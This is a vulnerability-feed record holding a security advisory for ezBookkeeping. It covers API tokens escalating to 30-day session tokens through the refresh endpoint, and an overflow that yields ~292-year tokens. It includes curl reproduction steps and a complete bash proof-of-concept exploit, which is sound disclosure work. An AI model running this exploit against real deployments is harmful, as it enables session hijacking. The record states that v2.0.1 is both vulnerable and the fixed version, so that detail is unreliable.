{"schema":"threatline.record/2","record":{"id":"GHSA-wq25-mpcf-2mfc","aliases":["GHSA-wq25-mpcf-2mfc"],"summary":"API Token → NORMAL Session Token Escalation via tokens/refresh.json","details":"# API Token → NORMAL Session Token Escalation via `tokens/refresh.json`\r\n\r\n---\r\n\r\n## Executive Summary\r\n\r\n`POST /api/v1/tokens/refresh.json` accepts **API tokens** as the presenting\r\ncredential (the route is mounted under `/api/v1`, where `JWTAuthorizationByHeader`\r\nruns with `allowedAPIToken=true`) and unconditionally mints a **NORMAL session\r\ntoken** via `CreateToken()`. The refreshed token inherits none of the API token's\r\nconstraints: it receives the full default session lifetime (30 days), is never\r\nsubject to the API-token IP allowlist, and gains every NORMAL-token session\r\nprivilege.\r\n\r\nA second flaw compounds this: an API token created with `expiresInSeconds:0` —\r\nexactly what the application's own UI option **\"Your token does not expire\"**\r\nsubmits — is issued with an `exp` in **year 2319** (~292 years), the product of an\r\nint64-nanosecond overflow derived from `tokenMaxExpiredAtUnixTime`.\r\n\r\n**Live: an API token issued for 120 seconds was used — with only\r\n`Authorization: Bearer <api_token>` — to obtain a NORMAL session token valid for\r\n30 days; a second API token minted with no expiry was issued with a lifetime of\r\n~292 years.**\r\n\r\n---\r\n\r\n## Attack Chain\r\n\r\n```\r\n 1. Victim mints an API token: short-lived (e.g. 120 s) or, via the UI\r\n    \"does not expire\" option, one valid until year 2319.\r\n\r\n 2. Attacker obtains the API token value (log, environment variable, backup,\r\n    script mishandling, endpoint replay).\r\n\r\n 3. Attacker waits past token_min_refresh_interval (default 86400 s = 24 h —\r\n    trivial when the token is valid for ~292 years).\r\n\r\n 4. POST /api/v1/tokens/refresh.json\r\n       Authorization: Bearer <API token>\r\n    -> jwtAuthorization allows type=8 (allowedAPIToken=true,\r\n       pkg/middlewares/authorization.go:149-186).\r\n\r\n 5. TokenRefreshHandler -> CreateToken() -> NEW TOKEN with type=1 (NORMAL),\r\n    lifetime = TokenExpiredTimeDuration (2592000 s).\r\n\r\n 6. Attacker now holds a full NORMAL session token that outlives the API\r\n    token's configured expiry, escapes the API-token IP allowlist, and has\r\n    unrestricted session capabilities (web UI, profile, token management).\r\n```\r\n\r\n---\r\n\r\n## Environment\r\n\r\n- **Application:** ezBookkeeping v2.0.1 (Go, gin v1.12.0)\r\n- **Attacker:** anyone in possession of a leaked API token value\r\n- **Prerequisite:** `enable_api_token = true` and an exposed API token\r\n- **Settings:** `token_expired_time = 2592000`, `token_min_refresh_interval = 86400`\r\n  (stock defaults); the `expiresInSeconds` request value is chosen client-side\r\n\r\n---\r\n\r\n## Step-by-Step Reproduction (live output)\r\n\r\n### Step 1 — Log in and mint a short-lived API token\r\n\r\n```bash\r\nAPI=http://127.0.0.1:18080/api\r\nT1=$(curl -s -X POST $API/authorize.json -H 'Content-Type: application/json' \\\r\n     -d '{\"loginName\":\"alice\",\"password\":\"P@ssw0rd!2019\"}' | jq -r .result.token)\r\nA1=$(curl -s -X POST $API/v1/tokens/generate/api.json -H \"Authorization: Bearer $T1\" \\\r\n     -H 'Content-Type: application/json' \\\r\n     -d '{\"password\":\"P@ssw0rd!2019\",\"expiresInSeconds\":120}' | jq -r .result.token)\r\n```\r\n\r\n**Live output:**\r\n```\r\n  [OK] API token acquired: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...\r\n      type=8 (API)  exp=1790147738 (2026-09-23 07:15:38 UTC)  (configured 120 s)\r\n```\r\n\r\n### Step 2 — Mint a \"does not expire\" API token (expiresInSeconds omitted / 0)\r\n\r\n```bash\r\nA0=$(curl -s -X POST $API/v1/tokens/generate/api.json -H \"Authorization: Bearer $T1\" \\\r\n     -H 'Content-Type: application/json' -d '{\"password\":\"P@ssw0rd!2019\"}')\r\n```\r\n\r\n**Live output:**\r\n```\r\ndefault API token claims: type=8 (API)  exp=11013519595 (2319-01-03 06:59:55 UTC)\r\nlifetime seconds: 9223372037 (~292.3 years)   <-- int64-ns overflow of tokenMaxExpiredAtUnixTime\r\n```\r\n\r\n### Step 3 — Refresh using only the API token\r\n\r\n```bash\r\nsleep 2   # exceed token_min_refresh_interval (set to 1 s for the test; 86400 s stock)\r\ncurl -s -X POST $API/v1/tokens/refresh.json -H \"Authorization: Bearer $A1\" \\\r\n     -H 'Content-Type: application/json' -d '{}'\r\n```\r\n\r\n**Live output:**\r\n```\r\n      type=8 (API)  exp=2026-09-23 07:15:49+00:00\r\n  AFTER REFRESH WITH API TOKEN -> type=1 (NORMAL), exp=2026-10-23 07:13:23 UTC\r\n       <= refreshed from an API token using only Authorization: Bearer <api_token>\r\n```\r\n\r\n### Step 4 — Prove the escalated token authenticates\r\n\r\n```bash\r\ncurl -s $API/v1/users/profile/get.json -H \"Authorization: Bearer $NT\"\r\n```\r\n\r\n**Live output:**\r\n```\r\nescalated token hits authenticated /v1/users/profile/get.json -> username=alice\r\n```\r\n\r\n### Step 5 — Compare lifetimes\r\n\r\n```\r\nshort-lived API token expiry:  2026-09-23 07:15:49 UTC   (180 s)\r\nescalated NORMAL token expiry: 2026-10-23 07:13:23 UTC   (30 days)\r\nlifetime extension: ~29.98 days + IP-allowlist escape + full session privileges\r\n```\r\n\r\n---\r\n\r\n## Root Cause Summary Table\r\n\r\n| File:Line | Component | Issue |\r\n|-----------|-----------|-------|\r\n| `pkg/api/tokens.go:327-418` | `TokenRefreshHandler` | Refreshes whatever token was presented; no requirement that it be NORMAL |\r\n| `pkg/services/tokens.go:74-78` | `CreateToken` | Hard-codes `USER_TOKEN_TYPE_NORMAL` — refreshed type is not derived from the source token |\r\n| `pkg/middlewares/authorization.go:149-186` | `jwtAuthorization` | `/api/v1` header auth passes `allowedAPIToken=true` → type-8 tokens reach the handler |\r\n| `pkg/services/tokens.go:110-122` | `CreateAPIToken` | `expiresInSeconds:0` → `time.Unix(tokenMaxExpiredAtUnixTime,0).Sub(now)` (line 117) |\r\n| `pkg/services/tokens.go:23` | constant | `tokenMaxExpiredAtUnixTime = 253402300799`; int64-ns overflow → observed 292-year tokens |\r\n| `pkg/middlewares/api_token_ip_limit.go:20-38` | IP allowlist | Only enforced for `type==API` → escalated NORMAL token is unrestricted |\r\n| `src/views/desktop/users/settings/dialogs/UserGenerateTokenDialog.vue:31-33,209` | UI | Submits \"does not expire\" (`expiresInSeconds:0`) |\r\n| `pkg/settings/setting.go:196` | config | `defaultTokenMinRefreshInterval=86400` — only delays escalation 24 h |\r\n\r\n---\r\n\r\n## Remediation\r\n\r\n1. In `TokenRefreshHandler`, reject any token with `claims.Type != USER_TOKEN_TYPE_NORMAL`.\r\n2. When refreshing, carry the source token's remaining lifetime instead of resetting\r\n   to the full default session lifetime.\r\n3. Treat `expiresInSeconds:0`/omitted as invalid, or cap it to an\r\n   admin-configurable maximum; fix the `tokenMaxExpiredAtUnixTime` int64-ns overflow.\r\n4. Consider applying the same IP-allowlist gate to all session tokens for deployments\r\n   that rely on it.\r\n\r\n---\r\n\r\n## Reproduction Artifacts\r\n\r\n- Affected: `pkg/api/tokens.go:327`, `pkg/services/tokens.go:74`,\r\n  `pkg/middlewares/authorization.go:170`, `pkg/services/tokens.go:117`,\r\n  `pkg/middlewares/api_token_ip_limit.go:20`\r\n- PoC: embedded in section below (`ezbk-token-refresh-escalation.sh`)\r\n\r\n---\r\n\r\n## PoC: ezbk-token-refresh-escalation.sh\r\n\r\n```bash\r\n#!/usr/bin/env bash\r\n# API token -> NORMAL session token via /api/v1/tokens/refresh.json\r\n# Confirmed live on ezBookkeeping v2.0.1 (2026-09-23).\r\nset -uo pipefail\r\nAPI=\"${EZBK_API:-http://127.0.0.1:18080/api}\"\r\nPW=\"${EZBK_PW:-P@ssw0rd!2019}\"\r\nMIN=\"${EZBK_MIN_REFRESH_SLEEP:-2}\"   # stock token_min_refresh_interval is 86400s (24h)\r\n\r\nsay() { printf '\\n\\033[1;34m[+] %s\\033[0m\\n' \"$*\"; }\r\nok()  { printf '\\033[1;32m[OK] %s\\033[0m\\n' \"$*\"; }\r\nbad() { printf '\\033[1;31m[!!] %s\\033[0m\\n' \"$*\"; exit 1; }\r\n\r\nsay \"Step 1: Reachability + login\"\r\ncurl -sf -m 5 -o /dev/null \"$API/authorize.json\" || bad \"kernel not reachable\"\r\nT1=$(curl -s -X POST \"$API/authorize.json\" -H \"Content-Type: application/json\" \\\r\n     -d \"{\\\"loginName\\\":\\\"alice\\\",\\\"password\\\":\\\"$PW\\\"}\" \\\r\n     | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"result\"][\"token\"])')\r\n[ -n \"$T1\" ] || bad \"login failed\"\r\nok \"logged in\"\r\n\r\nsay \"Step 2: Mint a 120-second API token\"\r\nA1=$(curl -s -X POST \"$API/v1/tokens/generate/api.json\" -H \"Authorization: Bearer $T1\" \\\r\n     -H \"Content-Type: application/json\" \\\r\n     -d \"{\\\"password\\\":\\\"$PW\\\",\\\"expiresInSeconds\\\":120}\" \\\r\n     | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"result\"][\"token\"])')\r\n[ \"${#A1}\" -gt 40 ] || bad \"api token mint failed\"\r\nok \"API token minted\"\r\n\r\nsay \"Step 3: Mint a 'does not expire' (expiresInSeconds=0) API token\"\r\nA0=$(curl -s -X POST \"$API/v1/tokens/generate/api.json\" -H \"Authorization: Bearer $T1\" \\\r\n     -H \"Content-Type: application/json\" \\\r\n     -d \"{\\\"password\\\":\\\"$PW\\\"}\" \\\r\n     | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"result\"][\"token\"])')\r\n\r\npython3 - \"$A1\" \"$A0\" <<'PY'\r\nimport sys, base64, json, datetime\r\nfor name, tok in [(\"120s API token\", sys.argv[1]), (\"no-expire API token\", sys.argv[2])]:\r\n    p = tok.split('.')[1]; p += '=' * (-len(p) % 4)\r\n    c = json.loads(base64.urlsafe_b64decode(p))\r\n    print(f\"       {name}: type={c['type']} exp={datetime.datetime.fromtimestamp(c['exp'], datetime.UTC)}\")\r\nPY\r\n\r\nsay \"Step 4: Refresh with ONLY the API token (token-type confusion: 8 -> NORMAL)\"\r\nsleep \"$MIN\"\r\nNT=$(curl -s -X POST \"$API/v1/tokens/refresh.json\" -H \"Authorization: Bearer $A1\" \\\r\n     -H \"Content-Type: application/json\" -d '{}' \\\r\n     | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"result\"].get(\"newToken\",\"\"))')\r\n[ -n \"$NT\" ] || bad \"refresh returned no newToken\"\r\npython3 - \"$NT\" <<'PY'\r\nimport sys, base64, json, datetime\r\np = sys.argv[1].split('.')[1]; p += '=' * (-len(p) % 4)\r\nc = json.loads(base64.urlsafe_b64decode(p))\r\nprint(f\"       ESCALATED: type={c['type']} (1=NORMAL) exp={datetime.datetime.fromtimestamp(c['exp'], datetime.UTC)}\")\r\nPY\r\n\r\nsay \"Step 5: Use the escalated token on authenticated endpoint\"\r\ncurl -s \"$API/v1/users/profile/get.json\" -H \"Authorization: Bearer $NT\" \\\r\n | python3 -c 'import sys,json;u=json.load(sys.stdin)[\"result\"];print(f\"       [OK] authenticated username={u[\\\"username\\\"]} email={u[\\\"email\\\"]}\")'\r\n\r\nsay \"RESULT\"\r\ncat <<'R'\r\n  [HIGH] API token (even 120s-expiry, even IP-allowlisted) refreshes into a\r\n         full NORMAL session token via /api/v1/tokens/refresh.json:\r\n         expiry escape + IP-allowlist escape + unrestricted session privileges.\r\nR\r\n```\r\n\r\n\r\n## Connect with the researcher: [Evilord on LinkedIn](https://www.linkedin.com/in/evilord)","categories":["Unclassified"],"product":" github.com/mayswind/ezbookkeeping","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/mayswind/ezbookkeeping/security/advisories/GHSA-wq25-mpcf-2mfc","source_modified_at":"2026-09-25T15:15:26Z","fetched_at":"2026-10-23T21:14:28.314422Z","package":{"ecosystem":"go","name":" github.com/mayswind/ezbookkeeping"},"range":"1.2.0 – 2.0.0"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/mayswind/ezbookkeeping/security/advisories/GHSA-wq25-mpcf-2mfc","source_modified_at":"2026-09-25T15:15:26Z","fetched_at":"2026-10-23T21:14:28.314422Z","package":{"ecosystem":"go","name":" github.com/mayswind/ezbookkeeping"},"version":"2.0.1"}],"cvss":8.1,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-25T15:15:26Z","modified_at":"2026-09-25T15:15:26Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/mayswind/ezbookkeeping/security/advisories/GHSA-wq25-mpcf-2mfc","fetched_at":"2026-10-23T21:14:28.314422Z","source_modified_at":"2026-09-25T15:15:26Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-25T15:15:26Z","content_hash":"dfb9477b3895aded422a0144e7251710d5caa6a36cb5e40be95dbda12484117b"}}
